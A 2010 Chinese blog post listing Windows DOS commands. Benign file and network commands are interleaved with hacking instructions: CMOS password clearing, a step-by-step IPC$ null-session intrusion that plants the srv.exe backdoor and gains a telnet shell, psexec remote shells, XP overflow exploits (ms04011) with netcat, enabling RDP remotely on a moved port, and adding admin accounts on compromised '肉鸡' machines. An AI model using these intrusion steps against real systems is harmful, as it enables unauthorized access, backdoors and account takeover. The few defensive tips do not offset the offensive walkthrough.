总结dos命令(DOS命令收藏)

1.前提是有对方权限,百度可以搜索shutdown关闭远程计算机要求,以下不加:/m IP 即为关本机
   (1).在60秒后强制关机并有提示:shutdown /s /f /m IP /t 60 /c 计算机将在60秒后关机,取消关机请在开始菜单的'运行'中输入"shutdown -a"

   (2).在20秒后关闭指定IP的计算机:shutdown /s /t 20 /m IP

   (3).在10秒钟后重启指定IP的计算机:shutdown -r /t 10 /m IP

   (4).强制关闭指定IP的计算机:shutdown /s /t 10 /f /m IP

   (5).强制重启指定IP的计算机:shutdown /r /t 10 /f /m IP

   (6).取消指定IP的关机或重启:shutdown -a /m IP 

2.查看当前访问过我计算机的IP(会话):net session

3.合并两个二进制文件:copy/b 1.mp3+2.mp3 3.mp3  //即将两个mp3文件合成3.mp3 一个文件

4.从计算机中找合适的工具打开指定的文件:start 3.mp3
   start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令  例: start E:\yz.exe

5.清除系统密码:条件:MS-DOS窗口 (没试过)
   c:\>debug      输入debug回车
   -o 70 10       输入o空格70空格10回车
   -o 71 10       输入o空格71空格10回车
   -q             输入q退出debug
   原理是:利用o语句输入端口把垃圾字节10H覆盖原有CMOS数据,致使CMOS读取错误而自动重置成没有密码的初始状态,而达到破解目的。

6.查看本机IP地址:开始菜单--》运行--》输入cmd,进入dos后,输入ipconfig即可查看,更详细输入ipconfig /all

7.at命令的用法:at \\192.168.12.121 10:55 net start Application

   at \\192.168.12.121 10:55 可直接查看用对方任务计划是否已经执行

8.如果at命令在命令提示符下运行,提示"服务尚未启动" ,在服务里找到Task Scheduler启动,可解决此问题

9.mstsc ----------远程桌面连接,在开始菜单----->运行---->输入mstsc即可出现远程连接的窗口
   logoff  ---------注销系统命令
   taskmgr--------任务管理器
   conf-----------启动netmeeting ,相当于远程桌面
   tasklist----------查找当前系统进程(包含pid) 

10.taskkill /参数 进程名或进程的pid   -------------  终止一个或多个任务和进程。
    参数说明:/pid 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动
    的子进程。  例:taskkill /pid 2330 /f

11.tsshutdn-------60秒倒计时关机命令,在‘运行’直接输入即可,取消,在‘运行’输入shutdown -a

12.arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址,ping一台计算机后,如果他开有防火墙,也好像可以通
    过此命令查出他的IP地址。  arp -a将显示出全部信息    

13.fc one.txt two.txt > 3st.txt    对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令

14.nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名) 注意:参数-A要大写
    nbtstat -s -a IP              查看与本地机相连的电脑的信息(知道IP获取对方计算机名)

15.net send ip "文本信息" 向对方发信息 前提条件是:控制面板中的‘服务’中的Message服务有开启

16.net view 查看本地局域网内开启了哪些共享 
    net view \\ip  查看对方局域网内开启了哪些共享

17.net time \\目标ip             查看对方时间 
    net time \\目标ip /set       设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息 

18.unformat                  恢复已被格式化的磁盘 (没试过)
    unformat [盘符]          恢复指定的被格式化的磁盘 
    format 盘符: /Q /X           格式化指定的磁盘

19.echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 ,显示提示信息的时候用
    echo 信息                       在屏幕上显示出信息  
    echo 信息 >> pass.txt       将"信息"保存到pass.txt文件中

20.findstr "Hello" aa.txt         在aa.txt文件中寻找字符串hello  例:findstr "Hello" E:\aa.txt

21.type [文件名]                  显示文本文件的内容  例:type D:\Others\a.txt  (a.txt  文件的内容)

22.(1)查看所有dos命令           cmd ---->键入help 
    (2)查看单独命令用法           cmd ---->命令名称 /? 例:at /? 

23.C:\WINDOWS\system32\config\SAM       存放系统密码的目录

24.ren 原文件名 新文件名                            重命名文件名 
    批量重命名一个文件夹下的文件后缀名,在该文件夹下新建记事本,输入ren *.gif *.jpg,将记事本后缀改为bat,双击即可
    

25.finger username @host 查看最近有哪些用户登陆本机

26. regedit ------注册表     
     regedt32------注册表编辑器 

27.copy 1.jpg/b+2.txt/a 3.jpg 将2.txt的内容藏身到生成的3.jpg文件中。可以打开用记事本打开3.jpg,在最后内容最后一行可以看到2.txt的内容。
    注:2.txt文件头要空三个空格,参数:/b指二进制文件,/a指ASCLL格式文件

28.局域网隐身法:(对专门的工具不起作用)
  在局域网中常通过网上邻居查看局域网中其他用户的在线情况,如果你不希望别的用户知道你是否在线,这时可以在win2000/xp下运行cmd 然后再运行
    net config server /hidden:yes 回车后就隐身啦。如果要取消只要把yes 改成no

29.dir 查找文件       /a:查找隐藏文件   /s:在当前目录查找
    如:c:\>dir 123.exe /a /s  在c盘查找所有的123.exe文件,即使是隐藏文件,也可以找出来。

30.diskcopy 复制整张磁盘文件到另一个磁盘 (没试过)

31.del 删除文件:如:c:\>del D:\123.txt          c:\sysoft>del . 删除C盘sysoft目录下的所有文件
    del /s *.txt  静态删除后缀名为.txt的所有文件。
    rd  删除空目录

32.attrib 显示所有文件的属性 
    attrib +r或-r [文件名] 设置文件属性是否为只读
    attrib +h或-h [文件名] 设置文件属性是否隐含
    attrib +s或-s [文件名] 设置文件属性是否为系统文件
    attrib +a或-a [文件名] 设置文件属性是否为归档文件 
    attrib /s 设置包括子目录的文件在内的文件属性 

    例:C:\TEST>attrib +r wina20.386
     C:\>attrib +h *.* /s  隐含所有文件 

33.more 文件名 以一页一页的方式显示一个文本文件。 例:more D:\Others\dos\总结DOS.txt

34.mkdir 目录名 建立文件目录

35.rmdir 删除子目录,目录内没有文档。

36.tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 

37.net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,administrator后加s用复数 

38.net user guest /active:yes   激活guest用户  
    net user guest /active:no     禁用guest

39.net user 用户名 新密码          即可修改为你需要的密码   
    net user 帐户名 密码 /add      为计算机添加一个用户

40.net share xxh=c:\               共享C盘       
    net share xxh /del               删除C盘共享

41.net start 服务                     开启服务 net start mssqlserver
    net stop 服务                      停止服务 net stop mssqlserver
    net pause 服务名                 暂停某服务

42.net user guest 12345     用guest用户登陆肉鸡后将guest密码改为12345

43.如何防范 ipc$ 入侵(没试过)
    (1)关闭 ipc$ 和默认共享依赖的服务 :server 服务
        如果你真的想关闭 ipc$ 共享,那就禁止 server 服务吧:控制面板 - 管理工具 - 服务 - 找到 server 服务(右击)- 属
        性 - 常规 - 启动类型 - 选已禁用,这时可能会有提示说: XXX 服务也会关闭是否继续,因为还有些次要的服务要依
        赖于 server 服务,不要管它。 

    (2)屏蔽 139 , 445 端口
        由于没有以上两个端口的支持,是无法建立 ipc$的,因此屏蔽139,445端口同样可以阻止 ipc$入侵.139端口可以通过
        禁止 NBT 来屏蔽 本地连接- TCP/IP 属性-高级          -WINS -选‘禁用‘ 

44.复制指定的目录和目录下的所有文件连同目录结构:XCOPY [源盘:]〈源路径名〉[目标盘符:][目标路径名][/S][/V][/E] 
    (1)选用/S时对源目录下及其子目录下的所有文件进行COPY。除非指定/E参数,否则/S不会拷贝空目录,若不指定/S参
        ,则XCOPY只拷贝源目录本身的文件,而不涉及其下的子目录;
    (2)选用/V参数时,对的拷贝的扇区都进行较验,但速度会降低。

42.局域网中知道ip地址,如何获取对方计算机名?
    (1)可以查出用户名还可以看到他所在的工作组,就是: nbtstat -s -a IP   
    (2)右键我的电脑,管理,右键计算机管理,连接到另外一台计算机,输入ip,单击确定

43.知道对方计算机名如何知道对方IP?
    ping IP 里面包含计算机名  例如:ping 192.168.12.1

44.非xp系统的IPC$入侵(没试过)
    1. 建立 / 删除 ipc$ 连接的命令
       (1)建立空连接 :   net use \\127.0.0.1\ipc$ "" /user:""
       (2)建立非空连接 : net use \\127.0.0.1\ipc$ " 密码 " /user:" 用户名 "
       (3)删除连接 :   net use \\127.0.0.1\ipc$ /del
    2.在 ipc$ 连接中对远程主机的操作命令 
       (1)查看远程主机的共享资源(看不到默认共享): net view \\127.0.0.1 
       (2)查看远程主机的当前时间 : net time \\127.0.0.1 
       (3)得到远程主机的 netbios 用户名列表 : nbtstat -A 127.0.0.1 
       (4)映射 / 删除远程共享 : 
           net use z: \\127.0.0.1\c            此命令将共享名为 c 的共享资源映射为本地 z 盘 
           net use z: /del                         删除映射的 z 盘,其他盘类推 
       (5)向远程主机复制文件 : 
           copy 路径 \ 文件名 \\IP\ 共享目录名,如: 
           copy c:\xinxin.exe \\127.0.0.1\c$   即将 c 盘下的 xinxin.exe 复制到对方 c 盘内,当然,
           你也可以把远程主机上的文件复制到自己的机器里: copy \\127.0.0.1\c$\xinxin.exe  c:\          

       (6)远程添加计划任务 : 
            at \\IP 时间 程序名 如: 
            at \\127.0.0.0 11:00 xinxin.exe 
       注意:时间尽量使用 24 小时制,如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径
    3. 本地命令 
        (1)查看本地主机的共享资源(可以看到本地的默认共享) net share 
        (2)得到本地主机的用户列表   net user 
        (3)显示本地某用户的帐户信息  net user 帐户名
        (4)显示本地主机当前启动的服务  net start 
        (5)启动 / 关闭本地服务   net start 服务名          net stop 服务名
        (6)在本地添加帐户 net user 帐户名 密码 /add          
        (7)激活禁用的用户  net uesr 帐户名 /active:yes 
        (8)加入管理员组  net localgroup administrators 帐户名 /add 
            很显然的是,虽然这些都是本地命令,但如果你在远程主机的 shell 中输入,比如你 telnet 成功后输入上面这些
            命令,那么这些本地输入将作用在远程主机上。
        (9)从管理员组删除net localgroup administrators 帐户名 /del

     4. 其他一些命令
        (1)telnet : telnet IP 端口 
            telnet 127.0.0.0 23
        (2)用 opentelnet.exe 开启远程主机的 telnet 
            OpenTelnet.exe \\ip 管理员帐号 密码 NTLM 的认证方式 port 
            OpenTelnet.exe \\127.0.0.1 administrator "" 1 90 
            不过这个小工具需要满足四个要求: 
            [1].目标开启了 ipc$ 共享 
            [2].你要拥有管理员密码和帐号 
            [3].目标开启 RemoteRegistry 服务,用户就可以更改 ntlm 认证 
       (3)对仅 WIN2K/XP 有效 
       (4)用 psexec.exe 一步获得 shell ,需要 ipc 管道支持 (对方必须开启admin$)
           psexec.exe \\IP -u 管理员帐号 -p 密码 cmd 
           psexec.exe \\127.0.0.1 -u administrator -p "" cmd
       对比过去和现今的 ipc$ 入侵
       既然是对比,那么我就先把过去的 ipc$ 入侵步骤写给大家,都是蛮经典的步骤:
         [1]  C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators        用扫到的空口令建立连接  
         [2]  C:\>net view \\127.0.0.1                                            查看远程的共享资源
         [3]  C:\>copy srv.exe \\127.0.0.1\admin$\system32 
                将一次性后门 srv.exe 复制到对方的系统文件夹下,前提是 admin$ 开启                        

         [4]  C:\>net time \\127.0.0.1                                             查看远程主机的当前时间 
         [5]  C:\>at \\127.0.0.1 时间 srv.exe 
               用 at 命令远程运行 srv.exe ,需要对方开启了 'Task Scheduler' 服务  
         [6]  C:\>net time \\127.0.0.1 
               再次查看当前时间来估算 srv.exe 是否已经运行,此步可以省略
         [7]  C:\>telnet 127.0.0.1 99 
               开一个新窗口,用 telnet 远程登陆到127.0.0.1 从而获得一个 shell( 不懂 shell 是什么意思?那你就把它想象成
               远程机器的控制权就好了,操作像 DOS),99 端口是srv.exe 开的一次性后门的端口   

         [8]  C:\WINNT\system32>net start telnet 
              我们在刚刚登陆上的 shell 中启动远程机器的 telnet 服务,毕竟 srv.exe 是一次性的后门,我们需要一个长久的后
              门便于以后访问,如果对方的 telnet 已经启动,此步可省略 

         [9]  C:\>copy ntlm.exe \\127.0.0.1\admin$\system32 
               在原来那个窗口中将 ntlm.exe 传过去, ntlm.exe 是用来更改 telnet 身份验证的  
         [10] C:\WINNT\system32>ntlm.exe 
               在 shell 窗口中运行 ntlm.exe ,以后你就可以畅通无阻的 telnet 这台主机了
         [11] C:\>telnet 127.0.0.1 23 
                在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,这样我们又获得一个长期的后门
         [12] C:\WINNT\system32>net user 帐户名 密码 /add
                C:\WINNT\system32>net uesr guest /active:yes
                C:\WINNT\system32>net localgroup administrators 帐户名 /add 
                telnet 上以后,你可以建立新帐户,激活 guest ,把任何帐户加入管理员组等 

                好了,写到这里我似乎回到了 2 , 3 年前,那时的 ipc$ 大家都是这么用的,不过随着新工具的出现,
               上面提到的一些工具和命令现在已经不常用到了,那就让我们看看现在的高效而简单的 ipc$ 入侵吧。 

        [13]  psexec.exe \\IP -u 管理员帐号 -p 密码 cmd    \\ 用这个工具我们可以一步到位的获得 shell 
               OpenTelnet.exe \\server 管理员帐号 密码 NTLM 的认证方式 port   \\ 用它可以方便的更改 telnet 的验证方式和
               端口,方便我们登陆

45.xp系统入侵
    1.开启远程桌面(3389端口)
       将下面三行复制到记事本,该后缀名为3389.reg  双击即可打开3389端口(远程桌面连接功能) 
       Windows Registry Editor Version 5.00

       [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
       "fDenyTSConnections"=dword:00000000
       将3389.reg复制到目标机上(复制要先得到目标的权限)
       在目标机上导入3389.reg 的dos命令:regedit /s c:\3389.reg  或 regedit /e c:\123.reg
       再在运行输入mstsc 在弹出的窗口中输入目标机的IP 即可连接到目标机的桌面

     2.xp 系统入侵
        [1].入侵一:
            入侵对方电脑前提:
            (1).控制面板------>服务----->本地安全策略------>安全选项-->"网络访问:本地账户的共享和安全模式 "为"经典-本地用户以自己的身份验证"
                可通过修改注册表改为"经典-本地用户以自己的身份验证":
                 Windows Registry Editor Version 5.00

                 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
                 "forceguest"=dword:00000000

            (2).控制面板------>服务----->本地安全策略------>安全选项-->"账户:来宾用户状态" 为已启用
                 net user guest /active:yes 可开启

            (3).有对方用户名和密码  
            入侵步骤:
            (1).开始菜单----->运行----->cmd-->键入net use \\192.168.0.1\ipc$ " 密码 " /user:" 用户名 "  
                 例: net use \\192.168.0.1\ipc$ "" /user:"administrator"

            (2).我的电脑---->管理---->操作--->连接到另一台计算机---->输入对方计算机名或IP
                 当连接上了以后----->点击左边的"服务和应用程序",服务---->开启 telnet 服务

            (3).开始菜单----->运行----->cmd-->telnet 192.168.0.1 即可获得对方shell        
       [2].入侵二:使用xp溢出(没成功过)
            在网上下载一个xp.exe 或 ms04011 
            (1).xp溢出使用方法: xp <Target ID> <Target IP> 例:D:\xp.exe 15 192.168.0.1 溢出成功即可获得对方shell
            (2).ms04011 使用
                 D:\>ms04011 1 192.168.8.222 1122
                        shellcode size 404
                        Ret value = 1727
                 再开一个shell
                 D:\>nc 192.168.8.222 1122

                      如果出现引号内容
                      "Microsoft Windows XP [版本 5.1.2600]
                      (C) 版权所有 1985-2001 Microsoft Corp. "
                 则表示溢出成功,获得对方shell,这样即可在对方机上执行任何命令

       [3].借助 psexec.exe 工具
             前提:对方有共享admin$;net share admin$ 即可共享admin$,删除 net share admin$ /del
             psexec.exe \\IP -u 管理员帐号 -p 密码 cmd    \\ 用这个工具我们可以一步到位的获得 shell 
             例:D:\psexec.exe \\192.168.0.1 -u administrator -p "" cmd

46.系统防护:(好像不行)
    控制面板—>管理工具—>本地安全策略”,展开“本地策略”—“用户权利指派”。
    在右边有一个“拒绝从网络访问这台计算机”-->添加用户和组, 添加Guest用户即可让别人不能从网络访问本机      

47.禁用的at服务dos命令开启?
    先运行“sc config Schedule start= DEMAND”,再运行一遍“net start schedule”

48.注册表解禁
     1).在Windows 2000/XP/2003中,我们可以通过单击“开始→运行”,输入“Gpedit.msc”后回车,打开“组策略”。
         然后依次展开“用户配置→管理模板→系统”,双击右侧窗口中的“阻止访问注册表编辑工具”,在弹出的窗口中选择“已禁用”,“确定”后再退出“组策略”,即可为注册表解锁.  
     2).用记事本编辑一个任意名字的.reg文件,比如注册表qifan.reg,内容如下:
        REGEDIT4

        [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]
        " DisableRegistryTools "=dword:00000000

        存盘。然后双击它就好

49.运行隐藏
    1:打开组策略编辑器(可以在任务管理器的文件菜单下面点新建任务,输入gpedit.msc打开,也可以直接在系统盘的windows\system32目录下面找到
       gpedit.msc这个文件打开)展开左边最下面一个管理模板,点任务栏和开始菜单,确认“从开始菜单中删除‘运行’菜单”没有被启用(要是被启用,
       就双击打开它的属性,设置成未被配置或已禁用,最好是已禁用,这样别的一些优化软件如果禁用了运行,这这里都可以显示了。)

    2:如果上面设置后还是没有的话,就用这个方法。 
       在任务栏点右键,打开“任务栏和开始菜单属性”点击开始菜单,下面有两个选项,如果你是XP默认的开始菜单,则点击开始菜单后面的“自定义”点
      “高级”,在开始菜        单项目里面最后一个选项“运行命令”前打上勾,这样运行就出现了。如果你是经典开始菜单就选择它后面的“自定义”在开
       始菜单选项里面把“显示运行”勾上,然后应用就可以了。当然你先设置“2”再设置“1”也是可的  

    3:将以下内容复制到写字板中然后存为1.reg双击打开1.reg文件就可恢复了。
       [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explore r]    "NoRun"=dword:00000000 

50.让文件不能删除 ren name E:\123.txt " ./"      删除用文件暴力删除器或360粉碎机

51.runas /profile /user:administrator cmd.exe  查看 administrator 用户的权限   

52.Telnet 你可以更改为一个其他的端口(默认23),  这样别人可能就不知道是不是开了telnet服务了。这个项也我 们 利 用Telnet服务器更自由了。在
    Telnet服务器配置这些参数中,可以使用tlntadmn.exe命令来进行非常方便的配置,配置后需要重新启动Telnet  服务。  

53.记事本打开指定位置文件:notepad C:\1.txt  可直接再运行窗口执行

54.DOS下开3389 并修改端口号
   sc config termservice start= auto
   net start termservice

 

  //允许外连
  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f

 

  //该3389端口到80
  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f

55.空文件夹无法删除解决办法

    使用“8.3”格式的短名称来执行操作。取得短名称的办法是在命令行窗口下使用“dir /x”命令,输出内容的倒数第二列就是短名称。有了短名称后再用“rd [文件夹短名称] /s”命令就可以顺利删除文件夹了。

 56.在win7环境建立一个超隐秘账户http://www.cnblogs.com/wh4am1/p/6611050.html

posted @ 2010-12-22 12:51  事理  阅读(1277)  评论(0编辑  收藏  举报